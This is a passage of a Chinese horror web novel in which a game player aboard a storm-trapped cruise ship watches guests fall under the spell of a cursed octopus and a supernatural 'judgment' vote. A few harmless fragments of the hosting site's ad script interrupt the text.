他放低声音:“这条鱼与传说中的一样,有八条爪子,通体粉色……异常美味。” 此话一出,宴会厅骤然安静。 花豹王子不小心打翻了酒杯,海蓝色的液体在桌上蔓延出去。 “你……”王子睁大双眼,欲言又止。 灰马总裁大笑:“这条鱼被捕捞上来的时候因为香气扑鼻,渔民们差点没控制住自己,不过还好,这条鱼被完整保存了下来,我特意留到今天与大家一起品尝呢!” 他忽然收住笑,神色不明道:“这可是神明的赠予,我想——应该没有人能拒绝如此美味吧?” 15. 鱼人节盛宴04 盖着餐盖的精致瓷盘被放到郝荨面前,熟悉又浓郁扑鼻的香气霸道地窜入她的鼻尖。 比海洋本身的味道更鲜美,比肉类的香气更诱人。 郝荨直勾勾地盯着餐盖。 还没打开竟然就这么香,打开后会是什么样? 灰马总裁迫不及待地揭开盖子,一瞬间,他们仿佛不是在游轮的宴会厅,而是置身海底。 神秘的深海中,无数的七彩小鱼在珊瑚礁中穿梭,远远的,一道悠扬的歌声顺着海水的律动传来,空灵又梦幻。 有谁牵着她的手向海面游去,那人有着漂亮的长发和粉色的八条尾巴,尾巴在阳光的折射下泛着令人心折的光晕…… “哗啦——” 天空中掉落下无数金币,她激动得上前抓起,发财了! 她大方地递给牵着她的美人鱼,一阵气泡从她口中吐出,模糊的视线中那人转过头来,鼻梁高挺肌肤粉嫩…… 和刺猬公主长得一模一样。 靠! 郝荨瞬间清醒,这鱼有问题! 她屏住呼吸,一把将餐盖揭起。 那是一截泛着粉意的新鲜触手,色泽柔和,仔细望去似乎能看到肉块在轻轻跳动—— 就像是一颗正在跳动的心脏。 “咕噜噜……” 郝荨腹中一阵饥饿,明明上船前才吃过东西,怎么又饿了? 一道反光忽的闪过,她猛地抬头,走廊暗处竟然站着一个小女孩! 女孩身形非常小,穿着宽大的红裙子,光着脚,看不清脸。 细微的闷痛从心脏传来,她刚想细看,那小女孩却消失得无影无踪。 “夯吃夯吃……” 灰马总裁嫌刀叉太慢,向后一扔,端起餐盘大口大口地吞吃着。 这次上菜的侍应生都戴着氧气面罩,一盘接一盘地给总裁端来鱼肉。 当盘子堆到郝荨要仰头才能看时,总裁终于有了浅浅的饱意。 他松松皮带,满意地看着宾客们与他一同品尝这道美食,除了—— “如此美味都吸引不了你吗?驼·驼·小·姐。” 其余人动作一顿,齐刷刷抬起了头。 郝荨身形一僵。 她仔细望去,除了大吃特吃的灰马总裁外,小吉和阿德利教父面前也堆了许多盘子,院长吃得比较精致,将将吃干净一盘鱼肉。 刺猬公主面前的盘子也空空如也,倒是花豹王子还残留些许理智,只浅尝了几口。 她看向自己面前纹丝不动的鱼肉,哑口无言。 “……当然不是,我只是——” “只是什么?它尝起来可比闻起来香太多了!” 灰马总裁撕咬下一大块触手,边嚼边催促道:“吃啊?” “怎么不吃?!” “快吃啊!” “吃——!!!” 他猛地咆哮,河马的嘴巴大大张开,一股腥臭的味道混合着鱼类的香气传来,巨大的咬合力将瓷盘咬下大半,嘴巴却完好无损。 郝荨看着他嘴里的瓷盘粉末,吞了口口水。 她忽然眼睛一红,手中捏着的餐巾按上眼角,抽泣道:“只是——鱼鱼这么可爱,怎么可以吃鱼鱼,呜呜呜……” 餐桌的另一头也传来了“呜呜”两声。 干干巴巴,听起来非常假。 灰马总裁愣住。 “我居然吃了鱼鱼……”刺猬公主想了想,按住眼睛,“呜呜。” 郝荨:…… 不是,朋友。 你抄作业好歹也改一改吧! 她柔弱起身,扶住额头道:“你凶我!我不太舒服,先回房了……” 一阵天旋地转,驼驼小姐转了个圈,以飞一般的速度溜了。 出宴会厅时,差点和端着餐盘的小仓迎面撞上。 她在拐角处等了等,脚步声响起,她转身出去。 果然,刺猬公主也出来了。 她的神情除了有些放空外,非常正常。 看起来不像吃了鱼的模样。 郝荨:“玩家?” 刺猬公主微微点头。 “合作吗?” 无论什么游戏,孤狼玩家都比有队友的玩家更难玩。 目前看不出有其他玩家的存在,副本开头公主又救过她,那么合作一下也不是不行。 公主歪着头想了想,言简意赅道:“可以。” 既然是临时队友,郝荨便释放出诚意:“你看见了吗?” “什么?” “刚刚走廊里有个女孩。” 话音刚落,一串脚步声忽然响起。 “哒哒哒哒……” 声音很轻,像是小孩。 两人对视一眼,立刻追了上去。 一路穿过幽深的走廊来到船尾,船尾的氛围和船头完全不同,既没有飘着的八爪鱼气球,也没有可爱的贴纸,只有几个破破烂烂的木箱堆在路中。 灰色雾气渐渐笼罩,又是一阵脚步声。 郝荨二人跟随声音绕过木箱,意外发现游轮背后竟然挂着一艘破旧小艇。 这是一座封闭式的救生艇,亮眼的橙色外壳上残存着污迹,灰尘很厚,看模样应该有些年头了。 小艇的门没锁,郝荨小心推开,扑簌的尘埃伴着封闭许久的霉味落下,她皱了皱眉。 这里面积不大,除开操作空间和几个放备用物资的箱子外只能勉强躺下三个成年人。 “咳咳……这是什么?” 箱子打开,郝荨惊讶地发现里面并没有什么物资,而是一堆奇奇怪怪的垃圾,半根数据线、拖鞋碎片、空了的零食包装袋……还有几根风干的鱼骨。 刺猬公主打开其他箱子,除了两个被吃得干干净净的罐头外,都是这种破破烂烂的生活垃圾。 “这是什么?”郝荨疑惑道。 这艘小艇实在狭小,一眼就能望到头,那个诡异的小女孩把他们引来这就为了让他们看垃圾? 地面似乎打扫过,除了灰尘外别无二物,那还能有什么—— “看那!” 物资箱后的墙壁底部刻着几道奇怪的划痕,其中一道划痕尤为深刻,里面似乎塞了什么东西。 郝荨摸遍全身,浑身上下只有一把绑在腿上的左轮,没找出半点利器。 她求助地望向刺猬公主,公主一把撩开裙摆,从靴子里掏出把匕首来。 匕首撬开缝隙,取出了半张撕下的纸片。 上头用画笔画了三个人,从左往右依次是穿着花短裤的男人、身穿泳衣的女人和一个穿着白色裙子的小女孩,小女孩的右侧是一大团深红色污迹。 这三人的画像从脖子处被撕开,看不见头,他们手牵着手在沙滩上跳舞,右下角稚嫩的笔触写着“幸fu的wo门(划掉)们”。 “一家三口……难道是八爪一家?” 郝荨将纸张翻转,画像的背面潦草的写着两个词: “骗子”、“神明”。 “哐!” 救生艇猛地震动,郝荨一下扑倒,幸好被公主拉了一把才勉强站稳。 两人看向门口,天空不知何时乌云遍布,天色以肉眼可见的速度昏暗下来—— “轰隆隆——” 只短短几秒,小艇内已经陷入全黑。 又是一道闪电划过,地面上赫然出现一个小小的影子,郝荨连忙抬头望去,门口却什么都没有。 她心脏一下刺痛起来,大喊道:“快跑!” 视线再度陷入黑暗,小艇晃动间她甚至无法分辨出口方向。 一股浓郁的海腥味弥漫开,她感到有什么在自己身边出现,那东西滑动着,带着森寒的水汽,离她越来越近、越来越近—— “走!” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >她的手腕突然被一把攥住,带着她几步离开小艇,是刺猬公主! “驼驼小姐!” “刺猬公主!你们在哪?!” 小仓的呼喊声穿过雷暴传入她的耳朵,郝荨连忙应道:“我在这儿!” 没一会儿,小仓就端着餐盘来到了船尾。 “原来你们在这儿!快跟我来!” 她手中提着餐篮,边走边火急火燎道:“雷暴来了!不过你们别担心,鱼人圣歌号很安全!两位只要好好待在房间里等待雷暴过去就行,保护好自己!对了!” “你们都没怎么用餐,我去厨房拿了些面包过来,快回屋休息吧!” 走廊里到处都是凌乱的脚步声,船员和侍应生们各处奔走,呼喊着所有人注意安全。 小吉的叫骂声远远的传来,似乎宾客们都被一一送回房间。 “轰隆!” 刚要进屋,一道震耳欲聋的雷声响起,伴随着惊天巨浪,船只剧烈摇晃,灯忽然灭了。 “什么情况?!”总裁推开门问。 小仓紧张的声音响起:“可能是电力系统出了问题,放心,我们有完善的电力储备,您好好休息,我立刻叫人去检修。” 她刚拿出手机,又是一道巨浪,不知道船撞到了哪里,只听“轰”的一声,众人被震得摔倒在地。 “没信号?” 小仓怔怔地望着手机,这艘游轮已经完全被雷暴和云雾席卷,仿佛进入了未知的国度。 不知什么时候起,除了大自然的呼啸外,半点人声都没有了。 一道刺耳的广播声骤然响起: 【审判时间到——】 “谁在说话?!” 灰马总裁推开门,他可能是被晃晕了,一副要吐不吐的模样。 “广播……船长室!”小仓眼睛一亮,“船长室有无线电!我们可以去那里让船长联系总部!” “还不快点!告诉那个使用广播的,他被辞退——” 【审判卡发放中——发放成功。】 不等大家反应,每个人的手中突然出现了一张卡片。 小吉尖叫一声:“什么东西!” 灰马总裁瞬间闭上嘴,这诡异场面实在有些超出他的认知。 郝荨拿起卡片,背面写了三个大字:【审判卡】。 广播再次响起: 【审判规则:握住卡片在心中默念“罪人”名字,神明将会收到你们的投票,审判通过后,神明将为“罪人”赐下“祝福”。】 【提示:聆听内心的声音,你们知道谁应当受到审判。】 “……”小吉将卡片捡起,颤着声音问,“这什么意思?……灰马,你搞的鬼?” 灰马总裁脸色铁青:“不是我!” “那……” 小仓看了眼大家手里的白色卡片,弱弱开口,“还去船长室吗……?” “去!” 灰马咬牙道:“我倒要看看究竟是谁在搞鬼!” 大家决定一起去船长室抓人。 船晃得厉害,走廊里只有些许应急光源勉强照亮脚下,路过船员房时郝荨忽然脚一滑摔倒在地,她龇牙咧嘴地爬起: “什么东西……?” 就着紧急出口的灯光看了一眼,地面上滴了几滴粘液,有什么东西顺着走廊向前滑动,留下一套黏腻湿滑的痕迹。 郝荨伸出手指蘸取了一些放到鼻前,是一股熟悉的海腥味。 宾客们一个接一个地越过,她忽然顿住—— 好安静。 郝荨想了想,试着推开房门,船员室的门都没锁,里头一个人也没有。 察觉到这一点的不止她一个,刺猬公主站在窗口处向外看去: “甲板上也没人。” 茫茫海域中,这艘游轮就像是一座孤岛,岛上演员齐聚,正上映着一出没有观众的舞台剧。 16. 鱼人节盛宴05 船长室到了,大家一窝蜂涌进房间,里头空空荡荡,广播台安安静静地待在原地,不像是有人使用过的样子。 小仓冲到无线电处:“喂喂?有人吗?鱼人圣歌号遇险请求救援!” 没有回复。 “有人吗?!鱼人圣歌号遇险请求救援!” 无线电没有任何反应。 “怎么会这样……” 灰马总裁冷下脸:“什么情况?!” 小仓嘴唇颤抖:“无线电发不出去……” 众人神色惊惶,阿德利问:“船长去哪了?” “对对!”小吉摸了一把打满发胶的毛发,“船现在出问题了他要负责!他人呢?!” 天鹅院长提议道:“不如我们分头去找,一部分找船长,一部分人抓刚才使用广播的人。” 灰马总裁刚要点头,门口传来一道女声: “不必找了。” 郝荨提着裙摆快步走进,扫视了一圈各人神态后说:“现在这艘船上,除了我们,没有其他人。” “你说什么?!” 小仓面色惨白:“驼驼小姐……都什么时候了,别开玩笑了……” “爱信不信。” 郝荨面无表情道:“你们当然也可以自己去找,总之,这艘鱼人圣歌号的其他人都在刚刚的雷暴中——消失了。” 没有人认为她会在这种时候开如此低级的玩笑。 “那怎么办?!” 小吉惊慌失措道:“我的狐狐雀雀蛇蛇和强子——” “都这种时候了你还在想女人?!”灰马总裁拽住小吉领口骂道,“你——” 花豹王子忽然开口:“不觉得这场雷暴很熟悉吗?会不会是——” “闭嘴!”阿德利厉声。 他的声音不大,语气中包含的意味却很明显。 王子倏然住口。 “那么,现在的问题就是要不要听从广播的安排,”天鹅院长冷静道,“也就是将票投给所谓的…‘罪人’。” 小吉不想相信:“真的不是谁在恶作剧吗?” “恶作剧?” 院长发出一声短暂的笑:“谁的恶作剧能让船开进雷暴,还能在一瞬间把卡片塞到每个人手里?” 他取出【审判卡】晃了晃:“虽然大家都希望这是谁搞的恶作剧,但事实就是,某种不可能发生的事发生了。” 小吉神色慌张:“难道说……是他们,是八爪他们回来了!” 阿德利一拳捶向无线电,发出一道频率极高的嗡鸣声。 这次他没有叫小吉闭嘴,神色难看极了。 他几乎是从牙缝中挤出声音:“所以,谁是‘罪人’?” 众人陷入沉默,广播说的规则很模糊,没有人知道‘罪人’究竟是什么意思,也没有人知道什么是所谓神明的‘赐福’。 郝荨想了想,说:“如果大家都不投票呢?会不会是平安日?” 阿德利冷着脸:“要是这样做后果是神明随机赐‘福’,谁来负责,你吗?” “也有可能……” 花豹王子开口:“无人被审判,则所有人被审判?” “嘶——” 小吉倒吸一口凉气。 每个人都闭紧了嘴巴,不着痕迹地打量除自己外的其他人,暗流涌动。 阿德利:“灰马,盛宴是你邀请大家来的,发生这种事——你应该负责吧?” 灰马总裁一愣,不等他开口,小吉就跳了起来: “对!如果不是你威胁……我小吉少爷现在还在沙漠上带着我的狐狐雀雀蛇蛇和强子度假呢!” “呵,度假?” 灰马总裁呼吸急促,硕大的河马脑袋上鼻孔一张一合,喷出灼热的气息。 “要真是神明审判,你、我、在场所有人有一个算一个!谁能称得上无辜?谁又不算‘罪人’?!” 他眼睛通红,视线一个个扫过,和他对上视线的每个人都不由自主地低下头。 灰马:“我提议,把【审判卡】上交,直接从源头取消投票。” 小吉第一个拒绝:“上交给谁?万一那人偷偷投票怎么——啊!” 又一个浪打来,所有人被晃得摔成一团,阿德利揉了揉太阳穴: “总之,审判先不提,每个人回到自己房间,等待这场雷暴过去——” 他眼睛微眯:“我不希望听到有谁擅自出门的消息。” 小仓结结巴巴道:“那、那我先去把备用电源开启,然后、然后在这里看守无线电,万一有回复就立刻请求救援……?” 灰马总裁“嗯”了一声,脸色阴沉。 众人一并往外走,郝荨走在最后,“咦?” 花豹王子的裤腿上似乎有一块颜色比其他地方更深,她借着现在视线不明假装绊了一下,正好擦过王子的裤腿,手指一撮,是深色的粘液…… 和地板上的一模一样。 * 回到房间,郝荨将自己甩在床上,屋外雷暴激烈的仿佛有人在渡劫,审判……这就是这场游戏最大的危险吗? 虽然阿德利禁止大家投票,但这种局势下口头禁止的效用几乎等于无,当你无法确定自己不会被投出时,最好的选择就是投给最有可能被投出的人,那么要投给灰马总裁吗? 还有审判规则中的“罪人”是指是什么,以他们话语中的线索来说,鱼人节盛宴的传说并不是凭空捏造,至少八爪一家应当确有其人,救生艇中的画也印证了这一点,可画后面的“骗子”和“神明”又代表了什么? 七位宾客中,看起来一直爽朗大方的灰马总裁盛宴上突然变脸,其余的宾客又都有什么秘密? 外头的浪一片比一片高,幸好阳台的密封效果不错。 郝荨躺在床上,眼睁睁地看着那一道一道的海啸汹涌而来,与闪电混杂在一起,一时间有种世界末日天崩地裂的幻觉。 她就这么看着看着,慢慢闭上了双眼。 夜渐渐深了,不知何处传来了一阵轻声哼唱: “……善良的八爪一家……” “他们是……是神明的礼物……” “他们为走错路……来美味的饭菜与……” 好累…… 她在黑暗中走了许久许久,却怎么也走不到头。 腹中饥肠辘辘,饿得已经记不起时间流逝多久,饿得几乎能闻到自己的肉香。 她忍不住将手臂塞进嘴里。 忽然,一串脚印亮起,她顺着脚印向前奔跑,又跑了许久,终于眼前一亮,一张装满食物的餐桌飘到身前。 好香! 粉色的肉块像是刚从锅里出来似的滋滋作响,散发着浓郁而霸道的香气,虽然切得太大块了,几乎有她半条手臂那么长,但没关系!她用叉子费力叉起,正要放入口中,悠扬的音乐声飘来—— “迷失的游人,啊,罪恶的游人……” 肉块忽然裂开,露出里头无数尖牙,它张大嘴,猛地冲她心脏而来—— “——我们将会共同作出最后的审判!” “我靠!” 郝荨突然惊醒,她先是一愣,哪里来的歌声? 她一骨碌坐起,哼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 唱声戛然而止。 别说歌声,就连狂风的呼啸和浪拍打的水花声也听不见半点。 她伸手去掀被子,却摸到一手凉意。 被面有些潮湿,仔细嗅闻还能闻到一股凉凉的水汽……有什么东西来过? 卧室的窗帘被风吹起,在月光的照射下勉强给房间带来一丝光亮。 郝荨目光一滞,那面落地窗上明晃晃印着一对小小的手掌印—— 就像谁曾趴在上头看她一般。 郝荨打了个激灵,面色难看,睡意完全消失,她披上外衣看了眼时间。 现在是凌晨两点四十,屋外安静极了,风平浪静。 雷暴停了? 推开落地窗,远方风暴激烈,她面色有些凝重。 他们并不是逃离了雷暴,恰恰相反,这艘船被困在了雷暴中央。 五个大字在心头浮现——“暴风雪山庄”。 诡异的童话故事,迷惑人心的八爪鱼,雷暴中的审判和一群拥有秘密的游客,这种场景不发生点什么都说不过去。 身侧忽然传来一道醉醺醺的声音: “美丽的驼驼小姐,有兴趣喝一杯吗?” 郝荨转过头去,与小吉少爷对上了视线。 他趴在隔壁阳台上,手中端着一只红酒杯,醉眼迷离。 “都这种时候了你还有心思喝酒?” 小吉嗤笑:“这种时候才应该来上一杯啊,谁知道还能不能看到明天的太阳呢?” 郝荨想起神秘的八爪一家,开口道:“行啊,来一杯吧。” “哦?” 小吉没想到对方真的会接受,毕竟驼驼小姐出了名的柔弱不能自理,从小到大就没见过她喝酒。 他眼疾手快取了一只新杯子给她倒上。 郝荨没有急着喝,而是学着以前看过的电视剧那样轻轻晃动,面色忧郁:“我还以为这只是一场普通的聚会,没想到会发生这种事……” “普通?” 小吉嘿嘿一笑:“我们这群人的聚会,哪一次普通过?” “也是。” 郝荨试探道:“不过今天一定是最不普通的了。” 小吉露出了不赞同的表情:“最?那还是十五年前那次更不普通吧。” 十五年前? 她记得……鱼人节活动就是灰马总裁在十五年前开创的。 “现在想想,当年真是年少轻狂——” 小吉抿了一口红酒,一脸不耐:“都怪阿德利和灰马那蠢货打赌,非说他不敢独自出海,结果灰马当天晚上就偷了家里的船骗我们举办派对,害得我们遇到那种事……” 他的声音渐渐低下,神色也变得晦暗不明。 见他似乎有什么顾忌,郝荨举杯道:“算了,都过去了,被他们听到又要生气了。” “我都没生气他们还敢生气?!” 小吉一听这话,气得直接跳脚,他用力撞了一下郝荨的杯子大声道:“本来我都快忘了,如果不是他非要大家回来这里,怎么会又遇到雷暴这种鬼事!还被那家人抓到!谁知道那见鬼的赐‘福’是什么玩意儿!” 郝荨微微歪了一下脑袋,她正要继续试探,却听到正下方传来一阵古怪的咀嚼声。 “什么声音?” 小吉喝得有些神志不清,他听了半晌才勉强恢复了点意识:“好像是有什么东西在啃……不会在啃船吧?!” 郝荨转过身,准备楼下查看,小吉也打着趔趄跟上。 他们离开后,对面客房的门被打开,刺猬公主望向他们的背影,眼中晦暗不明。 17. 鱼人节盛宴06 房间的正下方是工作人员专用层,两侧都是船员室和储藏室。 郝荨二人顺着声音来到了一扇巨大的金属大门前,这里是供应整艘游轮饮食的冷库。 冷库的大门微微开着,一丝冷气伴随着熟悉的香味钻了出来。 她顺着门缝往里看去。 冷库似乎是单独供电,幽幽的紫光和冷气没有受到断电的半分影响,一个极为庞大的背影半蹲在货架前面,像是座肉山一般,有些眼熟。 郝荨还没分辨出是谁,小吉率先松了口气。 “啪。” 他按下电灯开关,惨白的灯光一下亮起,照亮了那人的灰色脑袋。 灰马总裁? “灰马,你搞什么?” 灰马总裁没有反应。 巨大的冷库中只有那道咀嚼声在不断回响。 小吉不敢相信他居然被无视,他两步上前,用力推了灰马一下:“梦游呢你?本少爷叫你没听到吗?!” 灰马总裁依然没有反应。 郝荨开始感到不对,她正要阻止小吉,身后传来了有些杂乱的脚步声。 “我是不是说过——” 阿德利踏着沉重的步伐走来,他按着突突跳动的太阳穴,声音紧绷:“我不希望听到有谁擅自出门的消息。” 他锋利的视线扫过郝荨和小吉,最终落在灰马身上。 “尤其是在我的睡眠时间!” 他大步走进冷库,握紧拳头一把砸在总裁头上。 小吉躲闪不及,被狠狠撞到一旁的货架上。 货架晃了晃,一段鲜嫩的粉色肉块被撞到地上,灰马总裁顿了顿。 天鹅院长披着真丝睡衣来到门口,似乎也是被吵醒了。 他皱着眉抹平自己的睡衣褶皱:“怎么回事?” 见灰马无动于衷,依然在以一个极其稳定的频率进行咀嚼,阿德利眯起眼睛: “你挑衅我?” 郝荨环顾四周,这里装着许多种类的瓜果蔬菜和肉类,但最多的还是鱼肉,她默默捂住口鼻,这里的鱼肉百分之八十都泛着粉色的光芒,它们都来自同一条鱼——那条能够诱惑人心的粉色八爪鱼。 灰马总裁手里捧着的则是一条最大的触手,随着他的撕咬,一阵又一阵的香气涌了出来。 小吉慢慢张开了嘴,一滴液体落在地上。 “好香……” “很好,”阿德利怒极反笑,“很久没有人敢挑衅我了。” 他一把挥开灰马总裁手中的触手,反手掐住对方的脖子强迫对方回头。 灰马总裁总算是有了反应,他猛地回过头,眼睛向外鼓着,嘴角的鱼肉碎块混着血水不自觉地向下流淌。 有那么一瞬间,他的下半张脸像是融化的蜡烛,分裂成了几块,脸部向外冒着肉质的泡,就像是……八爪鱼的触手。 “啊!” 花豹王子不知道什么时候来的,见二人对峙吓了一跳。 郝荨迅速看向其他人。 阿德利一怔,下意识松开了手,可又在下一瞬间狠狠掐紧,手背冒出青筋,小吉的眼睛还紧紧盯着地上的鱼肉,他缓缓伸出手。 院长不自觉地向前走了两步:“……阿德利,松开他吧。” 这里的动静吵醒了其他人,刺猬公主和小仓也接连下楼,小仓满脸惊惶地看着眼前的场景。 半晌,阿德利松开手,灰马总裁喘了口气,扑到一块新的鱼肉上,冷库中重新响起了啃食声。 一阵密密麻麻的寒意席卷了所有人。 小吉吞了口口水,手背在身后道:“灰马疯了?” 但紧接着,他的眼中露出兴奋神色:“正好!他这个罪魁祸首疯的正是时候啊!不用说了,直接投他!” 娇弱的驼驼小姐捂着胸口站在角落,这个位置方便她观察所有人,阿德利靠在墙上没有说话。 她和刺猬公主对视一眼。 “一定要投票?”天鹅院长皱着眉说,“一旦开始审判……恐怕就停不下来了。” 灰马总裁依然在吃着,对大家要审判他的事无动于衷。 几人沉默了一会,纷纷告辞离开。 灰马总裁背对着所有人沉默地咀嚼着,森白的冷光照在他头顶,明明冷库里温度极低,他的脑门上却有大滴大滴的汗液流出。 总裁的瞳孔不自觉地震颤着,而在他的对面,冷柜的玻璃门上清晰地倒影着一个女孩的身影。 女孩低着头,穿着漂亮又宽大的红色裙子。 郝荨胸口微微一刺,余光里仿佛有一抹颜色闪过。 她回头望去,冷库里没有其他人的身影,只有灰马总裁持续而平稳的咀嚼声。 上楼时小仓有些迟疑,她小声问:“还不知道什么时候能有救援……总裁这么吃下去的话食物会不会……?” 阿德利脚步一顿,意味深长道:“放心,这种情况——绝不会发生。” * 第二日,宴会厅。 本就空旷的长桌因为少人而显得更加冷清,郝荨拉开椅子:“早。” 似乎是没想到她还有心情打招呼,阿德利意外地看了她一眼。 “不愧是我们尊贵的驼驼小姐。” 他咬字很慢,语调优雅极了,看起来就像是一个彻头彻尾的绅士。 天鹅院长隐晦地皱了皱眉。 郝荨勾起嘴角:“早啊院长。” 院长放平眉心,冷着脸点了点头:“你很久没来检查了,虽说那场手术很成功,但每年最好都来医院检查一次。” 他语气平稳,郝荨的心脏却陡然一动。 手术? 驼驼小姐做过手术? 郝荨稳住呼吸:“我回头就去,说起来……上次检查是什么时候来着?” 天鹅院长不以为意,自然答道:“三年前。” “看在我们从小一起长大的份上,如果你不想像小时候那样连门都没法出,最好还是注意一点。” 他推了推眼镜,镜片上的白光一闪而过:“当然,我这边也会继续帮你寻找备用的替代品。” “哐!” 门外传来声响,伴随着清脆的碎裂声和轻轻的抽气。 郝荨起身望去,好像是小仓撞上了刺猬公主。 她摔倒在地,骨瓷碎片落了满地,连同一起的还有面包和倾倒的咖啡杯。 “对不起对不起!我拿太多了没有注意!” 小仓连忙想要爬起,却被地上的瓷片绊倒又摔了一跤。 眼镜半掉不掉地挂在单侧耳朵上,她手忙脚乱地戴好,郝荨扶起她。 “你没事吧?” 刺猬公主看看小仓,又看看地面,最后看了看自己。 碰瓷? 刺猬公主的圆圆豆豆眼里浮现出不可置信。 小仓望着满地的碎片,沮丧道:“都怪我笨手笨脚……” 她的眼中逐渐湿润,大豆般的眼泪凝聚,抽噎着说:“这、这是厨师先生们留下的所有面包了……客人们的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 早餐要、要怎么办……” “我肯定、肯定要被总裁先生炒鱿鱼了,哇——!” 她毛茸茸的脸被眼泪打湿,眼镜被热气蒸得雾蒙蒙,可疑的液体从鼻子顺着胡须留下,哭得可怜唧唧。 郝荨的心脏就像被什么击中一样,谁能拒绝rua一只正在哭泣的奶茶仓鼠呢! 她将小仓抱入怀中安慰:“没事的,没有面包又不是没有原材料,大家都是成年人,还能饿死吗?要是灰马把你开了,你就来给我工作!” “真的吗?您不会骗我吧?”小仓小心翼翼问。 郝荨信誓旦旦:“真的呀,‘驼驼小姐’怎么会骗人呢?” 小吉少爷姗姗来迟。 他哼着歌,迈着小短腿走来:“饿死我了——哟,这是怎么了?” 听闻早餐被打翻他也没有生气,只是让小仓快点找吃的回来。 “心情很好吗?”郝荨问道。 小吉清清嗓子道:“昨晚做了个美梦!” 他一副“总算有人看出来了,快问我快问我”的模样,郝荨却故意扭过头问:“人齐了吗?灰马和花豹呢?” 小吉憋气,他正要发火却忽然想到了什么,眼睛一亮道:“灰马是不是被审判了?” 此话一出,众人瞬间怔住。 “不是约好……大家都不投吗?”小仓小声问。 小吉耸耸肩:“我可没答应。” 他嗅着鼻子,口齿间开始分泌唾液:“好饿,到底什么时候能用餐?!” “去找一下灰马吧。”天鹅院长按了按肚子,站起身道。 喇叭中传来一道分不清男女的机械音: 【投票完成,审判环节开启。】 【本轮的“罪人”是——灰马总裁。】 小吉少爷本来有些烦躁,听到这话瞬间变了表情:“行啊,去看看他这个‘罪人’到底是怎么被审判的!” * 奇怪的是,灰马总裁的房间没人。 被子被折进床垫下,整整齐齐,连根头发丝都没有,不像有人躺过的样子。 “他人呢?”小吉一屁股坐在床上,双手向后撑住,吊儿郎当道。 “不会还在冷库吧?” 郝荨想到昨夜所见,心中有了不好的预感。 众人一起来到冷库层,刚踏出楼梯就听到了那道窸窸窣窣的咀嚼声,伴随着些许冷库透出的凉气和隐隐的肉香味。 “他还在吃?!”小吉震惊。 郝荨心下一沉。 她快步来到冷库入口,这里和昨夜他们离开时没有两样,除了灰马那被撑到极致的衬衫与西裤。 他全身鼓胀,如果说昨天看起来像座敦实的肉山,今天他就像是被充了气的气球,他灰色的皮肤紧紧绷着,几乎泛白,定制衬衫那细密的针脚被硬生生撑开,露出密集的缝合痕迹。 进入冷库后,那道气味就将他们包裹在内。 浓重的肉香和海水的咸腥气混合在一起,形成了一股让人忍不住嗅闻的霸道香味,从鼻尖一直深入到胃里,饥饿的信号从胃中升起,仿佛有千万只小虫在啃噬。 这根本不是普通的香味,而是源自灵魂深处的渴望。 “好饿……”小吉不由自主地靠近灰马。 他伸着鼻子使劲闻,眼前开始出现幻觉,灰马庞大的身躯逐渐变成了一条巨大的八爪鱼,肉质肥嫩,汁液丰富,香得要命。 他的口水开始控制不住地往外滴落:“兄弟,你好香啊……” 18. 鱼人节盛宴07 郝荨忽觉不对,她立刻捂住鼻子退到最后。 刺猬公主比她反应还要快,早在发现灰马还在冷库时就退到了角落。 除了她们外,所有人都陷入了鱼肉造成的幻觉,他们眼睛通红,疯狂咽着口水你挤我我挤你的向灰马总裁走去…… 就像是失去理智的野兽。 郝荨忍不住看向灰马总裁的后颈,那处衣领接口明明已经被拉到极限,却依然在缓慢而顽强地向外撑开,直到实在撑不住—— “刺啦!” 衬衫被硬生生撕开了一条大口子。 这道声音仿佛唤醒了灰马一般,他咀嚼的声音一滞,紧接着,庞大的身躯缓缓转了过来—— “靠!” 小吉被吓得一蹦三尺高。 灰马总裁整张脸涨得通红,他一边涕泗横流,一边还在努力往嘴里塞那条粉色的触手。 更可怕的是,他的脸被绷得只有薄薄一层,几乎能看到底下粉色的肉块,分不清是他自己的,还是八爪鱼的,肉块在皮肤下互相挤压着: “帮…帮我……” “什么?” 他说得含糊,天鹅院长没有听清,于是他拿出手帕捂住口鼻,上前询问道。 鱼肉的肉沫在他粗暴的咀嚼上不停向外飞溅,而在他身后,整整一面墙的冷柜空空荡荡,柜门半敞着,只留下一些血液和冰水混合物的痕迹。 “停……” 天鹅院长看着空中的飞沫犹豫良久,最终还是微微前倾道:“你说什么?” “停……停下……” “我要停下!!!” “怎么帮你?” 院长有些不适,他略略后仰,不知该如何下手。 灰马的身影在玻璃上清晰可见,郝荨无意间瞥了一眼,那柜门上的灰马总裁大张着嘴,八条粉色的八爪鱼腿从他口中伸出,圆润的吸盘顺着他的脖颈缠绕着,将他的脑袋死死抱住,其中两条触手从他的衣领伸入,控制着他的双手不停往嘴里喂着。 郝荨想起了自己从前看过的一个童话故事,故事中的女孩穿上了会自己跳舞的红舞鞋,但这双红舞鞋一旦穿上便再也无法脱去,直到—— “砰——!” ——直到生命终结。 灰马总裁像是膨胀到极限的气球,只听一声巨响便炸了个精光。 一阵浓烈的鱼腥气在冷库中蔓延开来。 郝荨从阿德利魁梧的身后探出脑袋,诡异的是,场面并不像她想象的那般血腥。 灰马总裁身体里并不是鲜红的血液,而是某种黑色的粘稠的东西。 站在最前头的天鹅院长反应虽快,但事发实在突然,他只来得及将将侧过身体,左半边身体被这种黑色液体浸了个透。 就连阿德利和小吉也被溅到了些许。 “你还好吗?”郝荨皱着眉,一副关心院长的模样,“你看起来快要晕过去了。” 院长用力咬住牙根,才勉强没有说出什么不文明的用语。 他张开嘴:“容我失陪片刻——” 【赐福已完成。】 白色的审判卡从空中打着旋飘荡落下,被一只手精准捏住。 刺猬公主看了一眼,随后将卡片翻转过来:“是灰马总裁的投票信息。” 郝荨顺势接过,她动作一顿,公开道:“灰马投了小吉。” 被点名的小吉少爷立刻蹦起来,也不管灰马已经被审判的事实,将灰马从祖上开始骂了个底朝天。 发小就是这点好,对各自的祖宗十八代都了解得清清楚楚。 郝荨:“为什么‘罪人’是他?” 众人纷纷陷入思索,郝荨回忆起搜到的灰马资料,据说这位灰马总裁除了从小就吃得多外,和其他浪子回头的贵族少爷们没什么区别…… “而且,王子到现在还没出现。” 郝荨一副担忧的模样,楚楚可怜道:“会不会出什么事呀?” 